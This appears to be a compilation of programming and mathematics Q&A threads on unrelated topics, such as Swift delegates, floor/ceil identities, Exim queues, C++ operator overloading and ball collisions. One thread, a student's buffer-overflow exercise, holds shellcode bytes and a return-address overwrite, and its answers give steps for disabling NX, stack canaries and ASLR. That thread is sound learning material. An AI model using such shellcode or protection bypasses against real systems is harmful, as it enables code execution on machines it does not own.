Answer: In any product pricing situation, you should always make your user related conditions check against the commerce-order:owner token, not the site:current-user. That sounds like exactly what you need.
Comment: I tried that but when the XML is generated it seems to use the role of the user that is generating the XML so if the user generating the XML has the Trade role, all prices even non-trade roles get the rule applied.

It does work on the front end of the site though, so that is fine and still working. Just the XML export that is the issue.


Calling custom delegate of swift class from objective c class throws error

Question: I have a custom delegate in (NewsDetailsVC.swift), Where I have to pass selected table cell text to another class (MainNewsVC.m) which is an objective c class.
NewsDetailsVC.swift
@objc protocol SelectedDataDelegate {
    func valuePassed(dataString: String)
}
class NewsDetailsViewController: UIViewController, UITableViewDataSource, UITableViewDelegate {
    weak var newsPageDelegate: SelectedDataDelegate?
}
func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
    tableView.deselectRow(at: indexPath, animated: true)
    let selectedCell = tableView.cellForRow(at: indexPath)
    let storyboard = UIStoryboard(name: "MainNewsPage", bundle: nil)
    mainVC = storyboard.instantiateViewController(withIdentifier: "MainNews") as! MainNewsViewController
    mainVC.passedValue = selectedCell?.textLabel?.text
    print("text label value: ", mainVC.passedValue)
    newsPageDelegate?.valuePassed(dataString: mainVC.passedValue)
    print("text from delegates: ", (dataString: mainVC.passedValue))

}

MainNewsVC.h
@protocol SelectedDataDelegate <NSObject>

@end
@interface MainNewsViewController : UIViewController<UITextFieldDelegate,UIScrollViewDelegate, SelectedDataDelegate > {
   NSString *newsValue;
   BOOL isFromSelection;
}
@property (nonatomic, assign) id < SelectedDataDelegate > receiveNewsDelegate;
-(void)valueChanged:(NSString *)newsString delegate:(id< SelectedDataDelegate >)theDelegate;

MainNewsVC.m
@synthesize receiveNewsDelegate;

-(void)selectQuestion:(UITapGestureRecognizer *) sender
{
    CGPoint touchLocation = [sender locationOfTouch:0 inView:newsTable];
newIndexPath = [newsTable indexPathForRowAtPoint:touchLocation];
newsDetailsVC = [NewsDetailsViewController instantiate];
newsDetailsVC.SelectedDataDelegate = self;
[self presentViewController:selectQuestionVC animated:YES completion:nil];
}

-(void) valuePassed:(NSString *)newsString receiveNewsDelegate:(id< SelectedDataDelegate >)theDelegate {
[newsTable reloadData];
newsValue = newsString;
NSLog(@"newsValue: %@", newsValue);
isFromSelection = YES;
self.receiveNewsDelegate = theDelegate;
[newsTable reloadData];
}

In the above method when I tried self that custom delegate I am receiving error as "Property 'SelectedDataDelegate' not found on object of type 'NewsDetailsViewController *'". Any issues on the above code?
Answer: SelectedDataDelegate is the name of the protocol, the property is named newsPageDelegate.


Distribution and other rules for floor and ceiling

Question: I've been working on Project Euler and have found myself using the floor and ceiling functions a lot. I was hoping somebody could help me figure out how distribution and other properties of these functions work.

Is floor(x) + floor(y) = floor(x+y) ?
Is floor(x) = y the same as x = ceil(y) and vice-versa?

Remember, I'm asking about all real numbers, not just integers.
Are there any other rules about floor/ceil I should know about?
Thanks!
Comment: Here's a nice long list of formulas and identities: http://functions.wolfram.com/IntegerFunctions/Floor/
Answer: I managed to find a list of properties of ceil and floor functions in this blog: https://janmr.com/blog/2009/09/useful-properties-of-the-floor-and-ceil-functions/ It contains various relations between these functions, their results and argument values. It also contain some references for further reading.
Please find below some of these properties for real numbers.
(In)equalities
$$
x - 1 < \lfloor x \rfloor \leq x \leq \lceil x \rceil < x + 1
$$
$$
\lfloor -x \rfloor = -\lceil x \rceil
$$
$$
\lfloor x \rfloor + k = \lfloor x + k \rfloor
$$
$$
\lceil x \rceil + k = \lceil x + k \rceil
$$
$$
\Bigl\lfloor \frac{n}{m}\Bigr\rfloor = \Bigl\lceil \frac{n - m + 1}{m} \Bigr\rceil
$$
$$
\Bigl\lceil \frac{n}{m}\Bigr\rceil = \Bigl\lfloor \frac{n + m - 1}{m} \Bigr\rfloor
$$
Increasing functions
If a function $f: \mathbb{R} \rightarrow \mathbb{R} $ is continuous and monotonically increasing and for each integer $f(x)$ the value of $x$ is also an integer (e.g. $f(x) = \sqrt{x}$), we have:
$$
\lfloor f( \lfloor x \rfloor ) \rfloor = \lfloor f(x) \rfloor
$$
$$
\lceil f( \lceil x \rceil ) \rceil = \lceil f(x) \rceil
$$
Logarithms
For integer $k$ and all $b > 0$, $b \neq 1$:
$$
k =\lfloor \log_b{x} \rfloor \Leftrightarrow b^k \leq x < b^{k + 1}
$$
$$
k = \lceil \log_b{x} \rceil \Leftrightarrow b^{k - 1} < x \leq b^k
$$
References
The references are taken from the blog above:

"Concrete Mathematics" by R. L. Graham, D. E. Knuth, and O. Patashnik
"The Art of Computer Programming", Volume 1, by Donald E. Knuth.
Comment: Could you summarize some of these properties? (The webpage may not be around forever)
Comment: @air-conditioner, I've updated my answer, thanks for the idea.
Answer: Your statements are both false. Here are counter-examples:
For $x=y=.5$, $\lfloor x \rfloor +\lfloor y\rfloor=0$, but $\lfloor x+y \rfloor=1$.
For $x = .5$, $y=0$, we have $\lfloor x \rfloor =0$ but $\lceil y \rceil = 0 \neq .5$.
It is true that $\lfloor x +y \rfloor - 1 \leq \lfloor x \rfloor + \lfloor y \rfloor \leq \lfloor x+y \rfloor$, because, writing $x = \lfloor x \rfloor + \alpha$, $y = \lfloor y \rfloor + \beta$, we have $0 \leq \alpha,\beta < 1$, and $x + y =  \lfloor x \rfloor + \lfloor y \rfloor + \alpha + \beta$. Then:
$$
\lfloor x + y \rfloor = \lfloor x \rfloor + \lfloor y \rfloor + \lfloor \alpha + \beta \rfloor,
$$
and $\lfloor \alpha+\beta \rfloor$ is either $0$ or $1$.
Answer: Your proposed identities aren't true (already explained in another answer),
but this identity is true:
$$\lfloor x \rfloor = -\lceil -x \rceil.$$


Question on congruence of diagonal matrices over $\mathbb R$

Question: Consider all real $n\times n$ diagonal matrices of the form
$$ \Lambda =\begin{pmatrix}
   1 \\
   & \ddots  \\
   &  & 1 \\
   &&& -1 \\
   &&&& \ddots \\
   &&&&& -1 \\
   \end{pmatrix} $$
where the number of $1$s equals $p(\Lambda)$
I've a basic question- can two such matrices $\Lambda$, $\Lambda^{'}$ with $p(\Lambda)\neq p(\Lambda^{'})$ be congruent over $\mathbb R$?
i.e. can we find an invertible $n\times n$ matrix $P$ over $\mathbb R$ s.t. $\Lambda^{'}=P^{\rm T}\Lambda P$ ? Many thanks.
Comment: No, by [Sylvester's Law of Inertia](http://en.wikipedia.org/wiki/Sylvester%27s_law_of_inertia).
Comment: So congruence implies that the two matrices are equal?
Comment: Not at all, how are you getting that?
Comment: Because you are saying that if $\Lambda$ and $\Lambda^{'}$ are congruent then $p(\Lambda)=p(\Lambda^{'})$.
Comment: Consider $\begin{bmatrix}1 & 0\\ 0& -1 \end{bmatrix}$ and $\begin{bmatrix}-1 & 0\\ 0& 1 \end{bmatrix}$.They are congruent, but not equal.
Comment: Yes but it's just the way I defined the $\Lambda$s.
Comment: You said that congruent implies equality. I gave a counter-example to this. If you mean something else, then say something else.
Comment: I meant whether congruence implies that the two matrices (of the form I defined above in the question) are equal. Sorry for not making this clearer.
Comment: Well, yes, that's because they both start with $1$s and they will both start the $-1$s at the same time because the number of $1$s of one is the same as the number of $1$s of the other, because you're assuming they're congruent.
Answer: Edit: previous answer about spectra was incorrect, I confused $PAP^{-1}$ with $PAP^T$.
The relevant information is given in Git Gud's link in the comments to Sylvester's law of inertia.
Comment: Maybe you mean that congruent matrices have the same *inertia*.
Comment: @Algebraic Reading [here](http://en.wikipedia.org/wiki/Inertia), I don't see that meaning anywhere. [Meanwhile](http://en.wikipedia.org/wiki/Spectrum_of_a_matrix). If "inertia" is supposed to refer to the number of positive/negative eigenvalues, well, I'm not referring just to signs, but the whole multiset of eigenvalues, which is a much stronger claim, so I don't see why I should be referring to "inertia."
Comment: Conjugating a matrix does not preserve the spectrum. Nor do congruent matrices have the same eigenvalues.
Comment: @GitGud Yes it does. However I just realized we are not speaking of $PAP^{-1}$ but rather of $P^T AP$, so I will have to edit my answer.
Comment: @whacka If with conjugating a matrix $A$ you mean the product $P^TAP$, then it doesn't. If you mean something else, then I take back my words.
Comment: @GitGud Right, I mean conjugation in the group-theoretic sense ($PAP^{-1}$).


SqlCommand & SqlConnection

Question: If I have something like this:
using( SqlCommand sqlCmd = CreateSqlCommand( "load_collection_get", false ) )
{
    // Code
}

CreateSqlCommand looks like:
public static SqlCommand CreateSqlCommand( string storedProc, bool transaction )
    {
        SqlCommand sqlCmd = new SqlCommand( storedProc, sqlHelper.GetConnection() );

        sqlCmd.CommandType = System.Data.CommandType.StoredProcedure;

        if( transaction )
            sqlCmd.Transaction = sqlHelper.GetTransaction();

        return ( sqlCmd );
    }

SqlHelper.GetConnection() returns an opened SqlCommand object
At the end of the using( SqlCommand ... ) will that close the connection for me? Or do i still need to call SqlConnection.Close before the end of the using?
Answer: No, you'll still have to close the SqlConnection yourself, the using there will only dispose of the SqlCommand object.
I tend to think about it like this: you may need the connection to be open for multiple commands, perhaps all running within an SqlTransaction. If disposing of the first command closed the connection then you'd have no way to run the subsequent commands, let alone commit the transaction.
Comment: +1. It is worth stressing that Dispose of SqlCommand does not close the connection, this is, I assume, because it may not be the only thing operating on this connection.
Comment: ok thanks, not the answer i was hoping for, but can aee why it is the case, another using(SqlConnection ...) required me thinks!!
Comment: @Yossi Dahan absolutely, plus you may need more than one command to operate on the connection (perhaps all encased within an SqlTransaction). I've updated my answer to include that.

SqlCommand & SqlConnection


Motivation: Open Mapping Theorem

Question: One of the Fundamental Theorems in Functional Analysis is the Open Mapping Theorem.
Theorem. Let $X,Y$ be Banach spaces and $T \in L(X,Y)$. Then $T$ is surjective if and only if it is open.
I'd love to see some motivation on this theorem (not a proof!). Why should it be true? How was it discovered?
Perhaps the problem is that one (at least in the beginning of mathematical studies) not often thinks about open maps - but I find it fascinating that people saw a connection between surjectivity and open maps.
Comment: If $T$ is in addition injective the theorem just states that the inverse is continous, which (for me) feels like a natural thing to ask for.
Comment: I agree! Nice one!
Answer: Think of the finite dimensional case. If a linear map is open then it maps the open unit ball to an open ellipsoid centred at 0. It cannot have a lower dimension else the image is "flat" and not open. By expanding the unit ball the ellipsoid increases with it (linearity of $T$) and eventually covers the whole space.
The point of the theorem is that this is still valid in infinite dimensions. The strategy of most proofs is to show that the unit open ball maps to an open set that contains a small ball centered at 0. So by expanding them, the whole space is covered.
Comment: Oh yes, of course. Nice one. "Think of finite dimension and try to generalize!"
Answer: One way is to note that the theorem holds for many simple examples. Take for example $X=Y=\ell^1$ with $T$ a multiplication map, multiplying pointwise with some $t\in\ell^\infty$: Then $T$ is open if and only if it is invertible, equivalently, iff $t_k$ is bounded below. Now if $t_k$ is not bounded below, it is a fairly easy exercise to find some $y\in\ell^1$ which is not in the image of $T$: You just need to have $(t_1^{-1}y_1,t_2^{-1}y_2,\ldots)\notin\ell^1$. (Assuming $t_j\ne0$ for all $j$. The case when some $t_j$ is zero, is trivial to handle.)
After you've worked through some examples of this type, the open mapping theorem begins to look rather plausible.
Comment: I'm not sure if it's extremely natural to make this connection (to conjecture the open mapping theorem) when one hasn't discovered the open mapping theorem yet - but of course, you are right. With experience and having made your hands dirty, you will eventually realize certain connections.
Comment: As you say, experience and "dirty hands" are likely what led to the *discovery* of the open mapping theorem. I certainly would not presume to claim that the above *explains* it! Rather, I was trying to provide one out of several reasons why it "should" be true.
Answer: I like very much the version in Rudin's book which, in the case of Banach spaces, says that almost open continuous linear operators $T:X\to Y$ are surjective and open, where almost open means that the closure of $T(B_X)$ ($B_X$ being the unit ball of $X$) contains a ball $\alpha B_Y$ for some $\alpha$.
This condition can be spelled out as follows: There is a constant $C>0$ such that for each $\varepsilon>0$ and each $y\in Y$ the equation $y=T(x)$ has an approximate solution with norm control, i.e., there is $x\in X$ with $\|y-T(x)\|\le \varepsilon$ and $\|x\|\le C\|y\|$. The conclusion of the theorem is then that you always have exact solutions with norm control.
(Instead of the for all $\varepsilon$ it is enough to have this for $\varepsilon=\alpha \|y\|$ some fixed $\alpha \in (0,1)$; if you denote $S(y)$ one of the $\varepsilon$-approximate solutions for $y$, you define recursively the sequence $x_{n+1}=x_n +S(y-T(x_n))$ and prove that it converges -- here the completeness of $X$ is needed -- and that the limit is an exact solution -- here continuity or at least closed graph for $T$ is used.)
This viewpoint of the open mapping theorem (I don't know any book really promoting Banach's theorem in that way) encapsulates concrete approximation-and-correction-procedures (as, e.g., in the classical theorem of Weierstraß about poles of meromorphic functions) in an abstract principle.

Motivation: Open Mapping Theorem


How to parse a big rdf file in rdf4j

Question: I want to parse a huge file in RDF4J using the following code but I get an exception due to parser limit;
public class ConvertOntology {

    public static void main(String[] args) throws RDFParseException, RDFHandlerException, IOException {

        String file =  "swetodblp_april_2008.rdf";
        File initialFile = new File(file);
        InputStream input = new FileInputStream(initialFile);
        RDFParser parser = Rio.createParser(RDFFormat.RDFXML);
        parser.setPreserveBNodeIDs(true);
        Model model = new LinkedHashModel();
        parser.setRDFHandler(new StatementCollector(model));
        parser.parse(input, initialFile.getAbsolutePath());
        FileOutputStream out = new FileOutputStream("swetodblp_april_2008.nt");
            RDFWriter writer = Rio.createWriter(RDFFormat.TURTLE, out);
        try {
          writer.startRDF();
          for (Statement st: model) {
                    writer.handleStatement(st);
          }
          writer.endRDF();
        }
        catch (RDFHandlerException e) {
        }
        finally {
          out.close();
        }

    }

The parser has encountered more than "100,000" entity expansions in this document; this is the limit imposed by the application.
I execute my code as  following as suggested on the RDF4J web site to set up the two parameters (as in the following command)
mvn -Djdk.xml.totalEntitySizeLimit=0 -DentityExpansionLimit=0 exec:java

any help please
Comment: `-DentityExpansionLimit` is the legacy system property, the new one is `-Djdk.xml.entityExpansionLimit` - but it should still work. I'm not very familiar with the maven exec plugin - are you sure it passes these properties along to the java process?
Comment: @JeenBroekstra with your suggested property i get the following exception  Unknown lifecycle phase "Djdk.xml.entityExpansionLimit=0". You must specify a valid lifecycle phase or a goal in the format : or :[:]:.
Comment: That looks to me like you made a typo, perhaps forgetting a `-` in front or something.
Comment: still i have the same problem with mvn -Djdk.xml.totalEntitySizeLimit=0 -Djdk.xml.entityExpansionLimit exec:java. InvocationTargetException: The parser has encountered more than "100,000" entity expansions in this document; this is the limit imposed by the application.
Comment: This was also asked (and answered) at https://github.com/eclipse/rdf4j/issues/1875
Comment: @JeenBroekstra sorry but it is not solving in the provided link
Answer: The error is due to the Apache Xerces XML parser, rather than the default JDK XML parser.
So Just delete Xerces XML folder from you .m2 repository and the code works fine.

How to parse a big rdf file in rdf4j


Causing a buffer overflow, segfault

Question: I'm trying to cause a buffer overflow in the following, very simple, program:
#include <stdio.h>
#include <stdint.h>

void badf(int n, char c, char* buffer)
{

    char mycode[] = {
0xeb, 0x0f, 0xb8, 0x0b,
0x00, 0x00, 0x00, 0x8b,
0x1c, 0x24, 0x8d, 0x0c,
0x24, 0x31, 0xd2, 0xcd,
0x80, 0xe8, 0xec, 0xff,
0xff, 0xff, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x6c,
0x73, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00
}; // 37 bytes

// Overwrite Base Pointer
    //mycode[37] = 0x29;
//mycode[38] = 0xf4;
//mycode[39] = 0xff;
//mycode[40] = 0xbf;

    // Overwrite Instruction Pointer
    // Using debugger, found mycode[] to be loaded in: 0xbffff42d
    mycode[41] = 0x2d;
    mycode[42] = 0xf4;
    mycode[43] = 0xff;
    mycode[44] = 0xbf;

}

void f(int n, char c)
{
    char buffer[37];
    badf(n,c,buffer);
}

void test()
{
    printf("test");
}

int main()
{
    f(37,0x00);
    return 0;
}

(I've successfully managed to execute test() from the buffer overflow before) Now I'm trying to execute mycode[] by overwriting the instruction pointer with the start of mycode in the stack.
This only half works, the program jumps to the right address, where I can see the correct machine code in the debugger, but then crashes with a segmentation fault, instead of executing the following instructions (see screenshot).

I'm trying to figure out why he crashes before executing the contents of the "injected" code. I'm relatively new to this sort of stuff, I understand segmentation fault means I'm attempting to access memory the OS doesn't want me to?
(PS: 32bit Linux machine, compiling with -fno-stack-protector so I can play with this stuff)
(If any more info is needed I will gladly update the post)
Comment: Did you solve your problem? I have the same issue
Answer: This sort of exciting trick doesn't work nowadays anymore, sadly. Blame the virus people.
Data segments are marked with the NX (no execute) bit -- which is what triggers the segfault. CPU sees PC in a no-execute region.
Why don't you try overwriting the code of a "real" function pointer (take the address of an existing function) and see what happens (this will possibly fail because self-modifying code is also frowned upon by the compiler / linker / OS, also due to above-mentioned virus people)
Comment: Ok thank you. This is actually for an exercise for school but I'm doing it at home. Do you think I can conclude that I've successfully injected the code and redirected the instruction pointer, but that my modern Debian distro is preventing this for happening?
Comment: You can only conclude that you've successfully injected some machine code into a variable, then failed to execute it. Perhaps it would have worked were it not for the NX protections, perhaps not. Update: see suggestion in edited answer
Answer: If it's Linux, you can probably make it work by downloading and installing execstack, and follow the instructions here. The segmentation fault is probably a result from your elf binaries by default setting the nx bit, which exectstack selectively undoes. If this doesn't work, you might trigger additional protections, which you may or may not be able to disable.
Comment: I tried compiling with: "gcc -z execstack -fno-stack-protector -g -static -o bof bof.c" which should do the same no?
Comment: @Juicy: this wouldn't work on my distro. Execstack needed to be separately downloaded and installed, and you use it execstack -s . You occasionally see the syntax you write suggested, but it doesn't work for me.
Comment: It's in the repositories though (for my distro); so simply doing sudo apt-get install execstack should take care of install and configuration.
Comment: Thank you! Gave that a try but it's still giving me the seg fault. I believe, as I told dan3, that I've actually done what my lecturer wanted, it's not working on my Debian but hopefully will work on our Uni's Ubuntus.
Comment: Well the code that shows up in the debugger at that address is exactly the machine code I tried to inject (system call to execv), so it seems like the right code at the right address
Comment: @Juicy: Yw! Are you positive that it jumps to the right address? If you confirm in gdb, that's no proof: gdb creates its own address space that nowadays usually differs from that of your machine. Type su, then echo 0 > /proc/sys/kernel/randomize_va_space (==disable ASLR). Them try again. Note that you cannot sudo this statement; need to be su first before echo'ing. I'd also carefully check your code for syntax errors. Most old exploits still run fine (eg, shell code insertion after buffer overflow, as you seem to do) after doing all of the above (including disabling canaries, as you do)
Comment: @Juicy: what you see in gdb is before ASLR scrambles your system's address space. You cannot rely on it, which is extremely inconvenient when you play with overflows; but I know no way around it.

Causing a buffer overflow, segfault


/etc/init.d/exim queue runner

Question: I'm having trouble getting my exim daemon to run according to the init.d script settings. The main problem is with the QUEUE variable. I've set it 5m to have it spawn another queue runner as needed.
Up until now it has worked, but now, when I restart exim, the command that get's issued is:
/usr/sbin/exim -bd -q60m

When it should say:
/usr/sbin/exim -bd -q5m

The first thing I did was to make sure that the init.d/exim script was still correct, and it is. I've looked in the exim.conf and I can't find anything there.
My only other thought is maybe cPanel is interfering with the start up because after restarting exim the script echos:
/usr/local/bin/cpanel/update_sa_rules is running in the background

I've been trying to see where the $QUEUE variable might be added elsewhere, but haven't seen anything yet. Would appreciate your help if you've seen this before.
Notes: This is for Exim 4.82, CentOS 5.10
Answer: You don't specify where you set the QUEUE variable.  On a CentOS system, the exim init script typically checks for the existence of an /etc/sysconfig/exim file with configuration settings.  If it doesn't find /etc/sysconfig/exim, the init script sets some default settings, of which QUEUE is typically 1 hour.  Double check your /etc/sysconfig/exim file and make sure that there is only one QUEUE setting and that is where you are changing it.  Having said this, your system appears to be a CPanel system, which could have altered the exim init script and/or defaults in some way.
Another possibility is that /etc/init.d/exim restart isn't actually shutting down this exim process for some unknown reason.  Verify that it is by looking at the start time of the exim queue runner process after you do a restart.  If it's still some time or date way in the past, then the process isn't getting restarted.
Comment: Thank you! That did it. It was the **/etc/sysconfig/exim** file. I had previously set the QUEUE variable in the **/etc/init.d/exim** file, and couldn't understand why it wasn't working. That solved the problem. Thanks again!

/etc/init.d/exim queue runner


c++ - matrix initialization with comma-separated values

Question: Hi I came across this piece of code. It demonstrates how to work with matrix structures of the dlib library.
According to this one can initialize a matrix structure by:
M = 54.2,  7.4,  12.1,
    1,     2,    3,
    5.9,   0.05, 1;

How can this be possible in C++?
Is this some kind of operator overloading?
Comment: For the sake of your readers' sanity, I suggest you don't try to imitate this monstrosity. I'd recommend using `std::initialiser_list` giving `M = {...};`
Answer: Logic
This is possible by overloading operator, (operator comma), and for example make it push new floating point values into M.
A thing to notice is that operator, should always have at least one parameter of class type, therefore you'll have to create a class that is implicitly convertible to floating point value (for example via a non explicit constructor with 1 argument of type double or float).
Example
For example we'll try to do this for a wrapper type over an std::vector and we'll try to make M = 1, 2, 3, 4, 5 a valid expression which results in an std::vector with those elements in sequence. You'll see that this is easily applicable to the matrix example you gave.
A thing to remember is that operator= has more precedence over operator, (as shown in this table of operator precedence); therefore M = 1, 2, 3, 4, 5 will really be parsed as: (((((M = 1), 2), 3), 4), 5).
Given that, we'll start by creating our class container with an operator= that takes a single value and pushes it into the container:
template<typename ValueType>
struct container {

    explicit container(std::size_t n) {
        vec.reserve(n);
    }

    container& operator=(ValueType a) {
        vec.push_back(a);
        return (*this);
    }

    std::vector<ValueType> vec;

};

At this point we can define operator, as:
template<typename ValueType>
container<ValueType>& operator,(container<ValueType>& m, ValueType a) {
    m.vec.push_back(a);
    return m;
}

which just pushes back a new element value.
And now you can easily see that the following works just fine and prints 1 2 3 4 5:
int main() {
    container<int> M(5);
    M = 1, 2, 3, 4, 5;
    for (auto i : M.vec) std::cout << i << ' ';
}

Live demo
Considerations
I discourage this technique as much as possible. It forces you to have weird semantic for other operators, such as operator= and really seem to add nothing to a simple use of std::initializer_list<T>.
A saner example would be to have operator= as follows:
container& operator=(std::initializer_list<ValueType> a) {
    std::copy(begin(a), end(a), back_inserter(vec));
    return (*this);
}

and then simply use brackets:
int main() {
    container<int> M(5);
    M = { 1, 2, 3, 4, 5 };
    for (auto i : M.vec) std::cout << i << ' ';
}

Live demo
Comment: @paulm This is also why C++ people hate C++ written by people who overload `operator,`
Comment: @RuggeroTurra It's passed to the constructor in the initialization of the object `M` at `matrix M(3,3);`.
Comment: how do you know the shape (3,3)?
Comment: THis is why the C people hate C++
Comment: Many thanks Jefffrey! Clearly though, such pieces of code indicate a kind of mental instability :-)
Comment: @Nfys Glad to hear! By the way, I have update my answer to give a more in-depth example.
Comment: Btw, such initialization is used by [Eigen](http://eigen.tuxfamily.org/index.php?title=Main_Page), although using an extraction operator, like `M << 1,2,3,4,5,6;`. Not a big fan either.
Comment: No one is a fan of overloading the , operator. But it's the best option available for this prior to c++11
Comment: For added silliness, `operator,()` could also be defined as `return m = a;` in this example, unless I'm missing something.


how can we store a web page form html template along with the user entered data in any server?

Question: I have and html template where i want to store whole html template along with user data in some directory?
Please let me know if there is any way?. Html template is as shown here.
Answer: in principle the HTTP request (from the HTML form) delivers the data entered by the user. I would save that separately (common practise is obviously a DB, but you can also save as JSON file in a directory).
You can always load the HTML and fill the data you need on-the-fly.
If you really want to save the HTML with the data, on your backend you need to get the actual HTML source and manipulate it to add the user data in each field.
Comment: Since this is a one time activity and there are some many fields and the check box's in it.which is the best way to store it in?


How to change transition to fade on Boostrap Carousel module?

Question: I have a boostrap carrousel view that works fine, but the slide show only has one option, tansition in milliseconds.
How can I change the transition to fade instead of slide? I've looked at the css code but it keeps moving, so hard to know what to change, additionally, it seems to be getting the css from boostrap.min.css ...
Site is at:
www.xuzo.com
carousel on home page
Comment: There's nothing Drupal-y about it, you just use [CSS transitions](http://stackoverflow.com/questions/9526970/can-the-twitter-bootstrap-carousel-plugin-fade-in-and-out-on-slide-transition)
Comment: You work at a [food cart](https://email@example.com,100.894057,15z/data=!4m5!3m4!1s0x0:0x396494860d007021!8m2!3d12.929675!4d100.894057)? :O
Comment: Nope;) That's just google map wrong address! I have a food business in Thailand, http://www.satearn.com but no factory;)
Answer: you could do that with CSS transitions so it can be done easily without any Javascript.
The CSS:
<code>.carousel .item {-webkit-transition: opacity 3s; -moz-transition: opacity 3s; -ms-transition: opacity 3s; -o-transition: opacity 3s; transition: opacity 3s;}
.carousel .active.left {left:0;opacity:0;z-index:2;}
.carousel .next {left:0;opacity:1;z-index:1;}
</code>
I noticed however that the transition end event was firing prematurely with the default interval of 5s and a fade transition of 3s. Bumping the carousel interval to 8s provides a nice effect.
Very smooth.
Answer: you can use CSS transitions like the example below,
<code>.carousel-inner .item {
  left: 0 !important;
  -webkit-transition: opacity .4s; /*adjust timing here */
     -moz-transition: opacity .4s;
       -o-transition: opacity .4s;
          transition: opacity .4s;
}

/* Fade controls with items */
.carousel-inner .item.next.left,
.carousel-inner .item.prev.right {
    opacity: 1;
    z-index: 1;
}
.carousel-inner .item.active.left,
.carousel-inner .item.active.right {
    opacity: 0;
    z-index: 2;
}
</code>


Realistic ball collision with different ball mass - small balls stop the large ones

Question: tl;dr demo with editor of the bounce function
click to add new ball to the area
There's a question with over 200 votes on this topic with best answer scoring less than half of that. I'm noting that because typically the answers outscore the questions.
I tried to convert the suggested code into javascript. My balls asteroids have following properties:

vx, vy - speed in x and y axes
x and y for position
mass in kilograms, if that matters

My code therefore reads as:
  function bounce(objectA, objectB) {
    /** objectA and objectB have following properties:
     *   vx, vy - speed in x and y direction
     *   x, y   - position
     *   mass   - masss
     *   radius - diameter, calculated from mass
     *            using average rock density according to wikipedia
   ***/

    // Colision point as seen from B's perspective
    var collision = [objectA.x-objectB.x, objectA.y-objectB.y];
    var distance = Math.sqrt(collision[0]*collision[0] + collision[1]*collision[1]);

    collision[0] /= distance;
    collision[1] /= distance;

    var aci = objectA.vx* collision[0] + objectA.vy* collision[1];
    var bci = objectB.vx* collision[0] + objectB.vy*collision[1];

    var totalMass = objectA.mass + objectB.mass;
    // This is what I had to add since the original answer doesn't account for mass
    var acf = bci * objectB.mass/totalMass;
    var bcf = aci * objectA.mass/totalMass;

    // I put velocities in arrays in case I wanted to apply more changes
    // I mean I need to apply some changes, but I don't know what changes exactly
    // to make this crap of code work
    var v1 = [(acf-aci) * collision[0], (acf-aci) * collision[1]];
    var v2 = [(bcf-bci) * collision[0], (bcf-bci) * collision[1]];

    // Addition sure works better than assignment, but I encourage to try it for
    // the lulz
    objectA.vx += v1[0];
    objectA.vy += v1[1];
    objectB.vx += v2[0];
    objectB.vy += v2[1];
  }

Now in my scenario, I observe weird behavior. If big ball hits small ball, small ball flies away fast, but the big ball stops completely. Sufficiently large ball should shove small balls away without slowing down.
In the situation:

This happens:

And this does never happen, no matter what size you use:

I think it's caused by the way I divide speed between two balls. But how else determine the change?
I understand this question can hardly be answered just from looking at code. Unfortunatelly the context can't fit in SSCCE within jsfiddle. Therefore, with some effort, I created online demo on github pages, where the above function can be edited to immediate effect. I will do my best to ensure that demo is preserved for further reference.
Comment: *My balls have following properties*: I would rephrase that... ;-)
Answer: Read up on elastic collisions. Your equations are missing important factors like the difference in masses and—since you're working in two dimensions—the collision angle.
For a one-dimensional collision, you need to implement the following equation (from that Wikipedia page), where u1 and u2 are the velocities of each object before the collision, and v1/v2 are the velocities after.

You can verify your results by checking that the total momentum and kinetic energy of the system remain the same across the collision.
The two dimensional equations are in that article as well, but significantly more involved so I won't copy them here (I'd just be pasting the whole article). Importantly, they require use of trigonometric functions (sin, cos), and the dot product, which are absent from your current implementation.
Comment: You've implemented the 1-dimensional equations, so your small asteroids behave as if everything is a head-on collision. Now extend your code to account for [the angle of collision](https://en.wikipedia.org/wiki/Elastic_collision#Two-dimensional).
Comment: I implemented inelastic collision (which equals to elastic when `Cr` is `1`) exactly as wikipedia demands. The results are flawed. I created [new demo which demonstrates the problem](http://darker.github.io/asteroids/demo-elastic-bounce/). You can see how wrongly two balls bounce at the bottom right corner of the screen. Also note the way small ball bounces of the large one - in opposite direction. The function responsible for the bounce is in editor again. And you can see it's exactly the formula from wikipedia.
Comment: Yeah! Now it works as I needed. Do you have any clue where do I put the coefficient of restitution (the thing that causes bouncing to stop) in the equations?
Comment: Great! I think you can apply the coefficient of restitution to both objects' speeds either before or after the collision to get a close enough result. I'm not sure exactly where in the 2D equations to apply it for perfect simulation.
Comment: Applying the factor on the speed itself will affect irrelevant parts of speed. For example imagine two balls flying in parallel and bouncing. Obviously from balls' point of view they are stationary except for the bouncing. Only their relative velocity should diminish, the absolute velocity must not change.
Comment: Bouncing off what? Energy is lost during the collision. The ball flying in parallel is irrelevant.
Comment: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/108963/discussion-between-tomas-zato-and-kristjan).


rolling two dice and take the money

Question: In a dice game, there are 9 piles of money valued from 1 to 9. The game involves rolling two dice multiple times. If the total of the dice is 10, 11, or 12, you re-roll until the total is between 1 and 9. For example, if you roll a 3+4=7, you can either take pile 3 and pile 4, or just pile 7. If two dice have the same result like 3+3=6, you can just take pile 6.If either option is not available, the game ends. The goal is to maximize the amount of money taken.
I think as for the distribution of the outcome of two dice, it has larger probability that the sum lying around 7, so maybe if the sum is near 7 I should take the split piles instead of the sum pile? Still very confused about what's the best strategy.
Comment: Sorry, I should clarify this.I'll make some clarification.
Comment: already edited.
Comment: If you roll $~a,b ~: a \neq b,~$ then you need either $~(a+b)~$ to not yet be taken, or **both** $~a~$ and $~b~$ to not yet be taken.  This makes analysis of (for example) the $~(3,4)~$ roll tricky.
Comment: If I roll $3+4$, and only $3$ has already been taken, can I still take $4$?
Comment: When you say "if either option is not available...", do you mean "if neither option is available..." ?  [To me, the first means that both options need to be available to make a move; whereas, the second means as long as at least one option is available, you can make a move.]
Comment: @paw88789 it should be the former interpretation
Answer: So, let's look at the space: there are 30 possible combinations we can land on in this game (6 combinations lead to re-rolls, so they can be excluded). The probability that we can choose any given pile is equal to the every result that include that pile as a face, as well as any other roll that equals that face (other than doubles). That leads to the following table of probabilities (note that these probabilities do not equal one, because of the significant overlap) (edit: Went and double-checked my work, apparently deducted a few in the wrong place):
<code>|Pile|P(Pile)|
|----|-------|
|1   |10/30  |
|2   |11/30  |
|3   |12/30  |
|4   |11/30  |
|5   |12/30  |
|6   |11/30  |
|7   | 6/30  |
|8   | 5/30  |
|9   | 4/30  |
</code>
